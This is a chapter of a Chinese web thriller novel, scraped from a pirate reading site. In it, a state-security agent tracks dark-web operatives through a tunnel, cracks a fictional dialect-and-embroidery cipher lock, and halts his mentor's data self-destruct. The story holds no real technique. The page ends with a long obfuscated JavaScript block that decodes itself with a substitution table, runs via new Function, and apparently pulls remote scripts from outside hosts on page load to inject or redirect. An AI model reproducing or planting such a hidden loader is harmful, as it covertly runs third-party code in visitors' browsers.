首页
上部:觉醒之痛 第292章
返回
关灯 护眼:关 字号:小

上部:觉醒之痛 第292章 暗渠寻踪

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    上部:觉醒之痛第292章暗渠寻踪(第1/2页)
    第1节暗哨截语音韵识踪
    古籍馆后方的暗渠里,腐叶与淤泥的腥气混着潮湿的霉味扑面而来,脚下的青石板湿滑黏腻,每一步都溅起细碎的水花。林栖梧蹲在暗渠壁的阴影里,指尖摩挲着一块刻着浅淡纹路的青石板,目光死死盯着前方十米外的拐角处——那里藏着两个暗网残余人员,正靠着渠壁抽烟,嘴里蹦出的是一句生僻的疍家方言,尾音拖得极长,是暗网底层的联络暗号。
    他身后的攻坚组队员屏住呼吸,战术靴的鞋底贴紧渠壁,没有发出半点多余的声响。林栖梧抬手比出“警戒”的手势,指尖在耳边轻轻敲了三下,这是国安特有的手语信号,对应着“目标已锁定,待指令行动”。
    “‘潮落珠江,渔火寻踪’,这是暗网的联络暗语,后面接的是‘玄音藏处,针脚为证’。”林栖梧的声音压得极低,透过加密通讯传到队员耳中,“他们在等接应,用方言暗号传递位置,我们先截住,别让信号传出去。”
    话音刚落,其中一个暗网人员突然抬手,将烟蒂扔进暗渠,另一个人则摸出了口袋里的加密通讯器,指尖正按在发声键上。林栖梧眼神一厉,猛地从阴影中窜出,脚步踏在青石板上,带起一道水花,同时张口吐出一句反制的疍家方言:“渔火已灭,玄音无踪,速撤!”
    这句反制语是暗网底层联络的终止信号,比对方的联络语早半拍发出,瞬间打乱了对方的节奏。那两个暗网人员脸色骤变,猛地转头看向林栖梧,其中一人伸手去摸腰间的匕首,另一人则试图转身逃跑。
    “别动!”攻坚组队员同步上前,战术手电的强光直射在两人脸上,刺得他们睁不开眼,制式手枪的枪口稳稳对准他们的眉心,“国安!放下武器!”
    两人瞬间僵住,脸上的慌乱变成了惊恐。他们没想到国安的人竟能精准识破他们的方言暗号,更没想到会被堵在暗渠的死角里。其中一个年轻些的暗网人员嘴唇哆嗦,试图再发一次联络暗号,却被林栖梧一脚踩住手腕,青石板的棱角硌得他疼得龇牙咧嘴。
    “别白费力气了,你们的通讯频段已经被我们全程监控,连暗渠里的声波都被收录了。”林栖梧蹲下身,指尖捏起对方掉在地上的加密通讯器,屏幕上还残留着未发送的暗语,“司徒鉴微把你们扔在这儿当弃子,你们还在替他卖命?”
    另一个年长些的暗网人员咬着牙,眼神凶狠:“你们抓不到玄音,也破不了密室的方言密码锁,就算堵了我们,也进不去古籍馆的核心密室!”
    “是吗?”林栖梧轻笑一声,指尖在通讯器上轻轻一按,调出了一段存储的方言音韵数据,“你们司徒老大当年教我的时候,说过‘方言密码,韵为骨,声为皮,针脚为锁’,这暗渠里的青石板纹路,就是韵脚的对应标记,你以为藏得有多深?”
    他抬手指向暗渠壁上的浅淡纹路,那些纹路深浅不一,排列成不规则的曲线,看似杂乱无章,实则对应着古粤语的十三声调。林栖梧的指尖顺着纹路划过,嘴里缓缓念出对应的韵脚:“江、港、峒、峒、港、江……”
    每念一个韵脚,那两个暗网人员的脸色就白一分。他们没想到林栖梧竟连暗网最核心的密码逻辑都摸透了,这哪里是普通的方言学者,分明是能拆了他们整个组织的尖刀。
    “带走。”林栖梧站起身,将通讯器揣进兜里,对队员吩咐道,“仔细搜他们身上,找有没有暗渠的地图,司徒肯定在暗渠里留了后手。”
    队员押着两人转身离开,林栖梧留在原地,低头看着暗渠壁上的纹路,指尖轻轻敲击着青石板。暗网的残余人员藏在暗渠里,说明密室的密码锁线索就藏在这暗渠之中,而司徒鉴微刻意留下这些暗哨,不过是想拖延时间,让暗网的核心数据能顺利传输。
    他抬头看向暗渠深处,那里的光线愈发昏暗,像是一张张开的巨口。林栖梧握紧腰间的战术匕首,深吸一口气,迈步朝着暗渠深处走去。每一步都踩在青石板的纹路节点上,那些纹路像是有生命般,随着他的脚步微微震动,仿佛在回应着他的步伐。
    第2节残卷藏韵声纹破局
    暗渠深处的通道愈发狭窄,只能容下一人通行,两侧的渠壁上爬满了墨绿色的青苔,湿滑的水珠不断滴落,砸在水面上,发出清脆的声响。林栖梧打开战术手电,光束扫过四周,发现通道两侧的石壁上,竟刻着密密麻麻的古文字,有古粤语的篆体,也有壮语的方块字,还有一些难以辨认的混合字符。
    “这些文字是司徒鉴微留下的,他把方言密码的层级逻辑刻在了暗渠壁上。”林栖梧的声音透过通讯器传到指挥中心,秦徵羽的声音立刻回应:“林队,我正在同步这些文字的影像,正在进行方言音韵比对,你注意安全,暗渠里可能有陷阱。”
    林栖梧点点头,指尖轻轻拂过石壁上的古文字,感受着那些字符的顿挫与起伏。司徒鉴微当年不仅教他方言,还偷偷将密码逻辑刻在了这里,显然是早有准备,只是没想到最终会被自己的学生找上门。
    “第一层密码是古粤语的声调对应,第二层是壮语的声母组合,第三层是广绣的针脚纹路,而核心密码,藏在‘山音不绝’的音韵对应里。”林栖梧一边走,一边念出自己的推断,“我之前在司徒的书房里见过一本《岭南方言音韵考》,里面提到过‘珠山为根,水音为脉,针绣为锁’,珠山指的是粤港澳大湾区的珠山,水音是方言的音韵,针绣就是广绣的针脚。”
    他走到暗渠的一处转角,手电的光束照到了墙角的一个木盒,盒子被青苔覆盖,看起来已经有些年头。林栖梧蹲下身,小心翼翼地拨开青苔,打开木盒,里面放着一叠泛黄的古籍残卷,还有一支用广绣丝线缠裹的竹笔。
    “找到了,是司徒的古籍残卷。”林栖梧拿起残卷,指尖轻轻展开,残卷上的字迹清晰可辨,是司徒鉴微的亲笔批注,“这里面记载了密室方言密码锁的破解方法,还有暗网的暗渠地图,标注了三个数据传输节点。”
    秦徵羽的声音立刻传来:“林队,快把残卷的内容传过来,我立刻解析!另外,我监测到暗渠深处有异常的声波波动,疑似是暗网的感应陷阱,你离远点!”
    林栖梧刚要将残卷塞进通讯器,突然听到身后传来一阵轻微的响动,他猛地转身,手电光束照向声源处,只见一道黑影从暗处窜出,手中握着一把锋利的短刀,直刺他的后背。
    “小心!”通讯器里传来队员的惊呼声,林栖梧反应极快,猛地侧身躲开,短刀擦着他的肩膀划过,留下一道血痕。他顺势翻滚,躲到石柱后面,指尖摸出腰间的手枪,对准黑影的方向。
    黑影见一击未中,转身就想往暗渠深处跑,林栖梧张口吐出一句古粤语的警示语,同时按下通讯器的声波发射键,一段经过加密的方言音韵瞬间扩散开来。这段音韵是司徒鉴微教他的反制声波,能干扰暗网的感应设备。
    黑影的脚步猛地顿住,脸上露出痛苦的神色,捂着耳朵蹲在地上。暗网的感应设备被声波干扰,瞬间失效,而林栖梧则趁机起身,快步冲上前,一脚将黑影手中的短刀踢飞,反手将他按在石柱上。
    “又是暗网的人,看来司徒把暗渠的控制权交给了心腹。”林栖梧看着黑影的脸,认出他是司徒鉴微的贴身护卫,名叫阿力,“你以为藏在暗渠里,就能守住密室的密码锁?”
    阿力咬着牙,不肯开口,林栖梧则将古籍残卷塞进通讯器,对秦徵羽道:“解析残卷,同时定位这个阿力的身份信息,他肯定知道更多关于暗网数据传输的事。”
    秦徵羽很快回应:“解析完成!残卷里的密码逻辑是‘山音不绝’的音韵对应,珠山的山音是‘zhū’,水音是‘yīn’,针脚的对应纹路是广绣的‘打籽绣’,核心密码的数字序列是‘3-7-2-9-1-5’,对应着古粤语的声调!另外,阿力是司徒鉴微的贴身护卫,负责暗渠的安保,他身上有暗渠的终极地图,标注了数据传输的核心节点!”
    (本章未完,请点击下一页继续阅读)上部:觉醒之痛第292章暗渠寻踪(第2/2页)
    林栖梧的眼神一亮,指尖捏起阿力的衣领,将他提起来:“地图在哪?交出来,我留你一条命。”
    阿力的脸色惨白,犹豫了片刻,最终从衣领里摸出一枚小小的铜片,铜片上刻着暗渠的终极地图,还有数据传输节点的坐标。林栖梧接过铜片,递给身边的队员,让他立刻同步给郑怀简。
    “你知道司徒启动自毁程序的时间吗?”林栖梧问道,阿力的身体一颤,低声道:“三天后,自毁程序会启动,到时候密室里的所有数据都会被销毁,包括暗网的核心情报。”
    林栖梧的瞳孔骤缩,三天时间,必须在三天内破解密码锁,截获数据,否则一切都前功尽弃。他看向暗渠深处,手电的光束照到了前方的一道石门,石门上刻着“山音不绝”四个大字,正是密室密码锁的入口。
    “走,去石门。”林栖梧站起身,对队员吩咐道,“阿力带着我们,小心暗渠里的其他陷阱。”
    阿力被队员押着走在前方,林栖梧跟在后面,指尖反复摩挲着那枚铜片上的地图,心里盘算着破解密码的步骤。广绣的打籽绣针脚纹路,古粤语的声调,还有“山音不绝”的音韵,这三者结合起来,就是破解核心密码的关键。
    第3节石门藏钥针脚留痕
    暗渠深处的石门缓缓出现在眼前,石门由整块青黑色的岩石打造而成,表面刻着密密麻麻的纹路,纹路交织成一张复杂的网,正中央是四个苍劲有力的大字——“山音不绝”。石门的两侧,各刻着一只广绣凤凰图案,凤凰的翅膀上,是打籽绣的针脚纹路,每一针都精准对应着古粤语的一个声调。
    “这就是密室的密码锁入口,石门后面就是核心密室,司徒的全球情报矩阵就藏在里面。”阿力站在石门前,声音有些颤抖,“密码锁需要输入音韵对应的数字序列,还要匹配广绣的针脚纹路,缺一不可,否则就会触发自毁程序。”
    林栖梧走到石门前,指尖轻轻触碰石门上的纹路,那些纹路冰凉刺骨,带着岩石的厚重感。他按照残卷里的记载,先念出“山音不绝”的古粤语音韵,同时指尖在石门的纹路节点上按下对应的数字:3-7-2-9-1-5。
    指尖按下最后一个数字时,石门突然震动起来,发出沉闷的声响,两侧的广绣凤凰纹路亮起柔和的红光,针脚的纹路与数字序列完美对应。林栖梧心中一喜,正要推开石门,却突然听到石门内传来一阵急促的脚步声,还有司徒鉴微的声音透过门缝传出来:“栖梧,你真的要毁了我的心血吗?”
    林栖梧的身体一僵,转头看向门缝,司徒鉴微的身影出现在门后,脸上带着复杂的神情,有失望,有不舍,还有一丝决绝。“老师,你培养我八年,就是为了让我成为你利用的工具吗?”林栖梧的声音带着一丝沙哑,指尖紧紧握住石门的把手,“你杀了我父亲,用文化保护的名义构建暗网,窃取国家情报,你以为我会放过你?”
    司徒鉴微叹了口气,走到门缝前,目光落在林栖梧的脸上:“我从未想过利用你,我只是想让你成为最懂方言密码的人,成为能阻止我犯错的人。你父亲的死,是个意外,我本想救他,却没想到他会选择对抗。”
    “意外?”林栖梧冷笑一声,指尖猛地用力,推开了石门,“你亲手处决了他,还敢说是意外?”
    石门被推开,核心密室的景象出现在眼前,巨大的全息投影屏悬浮在密室中央,上面显示着暗网的全球情报矩阵,无数个红色的光点在地图上闪烁,代表着境外组织的据点。密室的四周,摆满了古籍和文物,还有一排排的服务器,发出低沉的嗡鸣。
    司徒鉴微站在全息投影屏前,背对着林栖梧,身上的学者长衫已经换成了黑色的作战服,腰间别着一把手枪。“这些情报,是我用来保护文化的,境外势力想窃取我们的方言和非遗,我只是提前一步拿到了情报,并没有泄露出去。”司徒鉴微缓缓转身,眼底满是执念,“栖梧,你跟我一起,我们一起守护这些文化,没有人能伤害它们。”
    “守护?你用极端的手段窃取情报,囚禁无辜的人,这叫守护?”林栖梧举起手中的战术手枪,对准司徒鉴微,“你已经错了,回头吧,我可以帮你争取宽大处理。”
    司徒鉴微的脸上露出一丝苦笑,抬手摸了摸腰间的手枪:“回头?我已经走了太远,回不去了。这些情报,我不能交给你,也不能交给境外势力,我只能毁掉它们。”
    他的指尖刚要按动手枪的扳机,林栖梧突然听到通讯器里传来秦徵羽的惊呼声:“林队!不好!司徒启动了自毁程序!服务器正在传输数据,同时启动了数据销毁程序!”
    林栖梧的瞳孔骤缩,看向密室四周的服务器,屏幕上的红色警示灯已经亮起,倒计时开始跳动:00:15:00。所谓三天后启动的自毁程序,从头到尾都是谎言,司徒从一开始就做好了玉石俱焚的准备。
    “你疯了!这些是几代人收集的文脉资料,不是你用来偏执殉道的工具!”林栖梧厉声呵斥,脚步缓缓向前逼近,“立刻终止程序,我可以保证,这些资料只会用于文化保护,绝不会落入任何境外势力手中。”
    司徒鉴微摇了摇头,手指悬在自毁确认键上方,眼神里的疯狂渐渐褪去,只剩下一种近乎病态的坚定:“我信不过任何人,包括你。我亲手建立的体系,只能由我亲手毁掉。栖梧,你是我最骄傲的学生,也是我这辈子最失败的作品。”
    林栖梧没有再犹豫,趁着司徒鉴微分神的瞬间,猛地扑上前,左手扣住他握枪的手腕,右手死死按住他按在控制台的手指。两人瞬间扭打在一起,司徒鉴微虽年过半百,却常年锻炼,力气丝毫不弱,两人在控制台前僵持不下,指尖都在争夺那枚决定数据生死的按键。
    “放开!”司徒鉴微低吼一声,膝盖顶向林栖梧的小腹,林栖梧咬牙硬扛,借力将他往侧面一甩,司徒鉴微踉跄着撞在服务器机柜上,后脑勺磕出一道血痕。
    就在这间隙,林栖梧迅速扑到控制台前,指尖按照古籍残卷里的密码逻辑,快速输入古粤语音韵与广绣针脚的双重密钥。屏幕上的倒计时瞬间暂停,红色警示灯转为黄色,自毁程序被临时冻结。
    司徒鉴微爬起身,看着屏幕上的变化,脸上露出绝望的神色,缓缓瘫坐在地上。他精心设计数十年的方言密码锁,最终还是被自己亲手教出来的学生破解,这场以文化为名的博弈,他输得一败涂地。
    林栖梧没有回头,指尖继续在控制台上操作,将暗网核心数据同步传输至国安指挥中心,秦徵羽的声纹壁垒全程护航,彻底切断所有境外窃取通道。
    “数据传输完成,暗网全域封锁成功。”秦徵羽的声音带着难以抑制的激动,从通讯器里传来。
    林栖梧松了口气,转过身看向瘫坐在地上的司徒鉴微,眼底没有胜利的喜悦,只有一片复杂的沉重。他蹲下身,捡起掉在地上的古籍残卷,残卷上“山音不绝”四个字,在密室灯光下显得格外刺眼。
    暗渠的线索已清,密室的密码已破,暗网的数据已封,司徒鉴微的终局近在眼前。
    可林栖梧心里清楚,这并不是结束。
    铜片地图上未标注的隐秘节点、残卷边缘模糊的玄音印记、暗渠深处未探明的分支通道,都在无声地提醒他——文明暗网只是冰山一角,那个藏在幕后、以“玄音”为代号的势力,依旧在黑暗中冷眼旁观,等待着下一次出手的时机。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();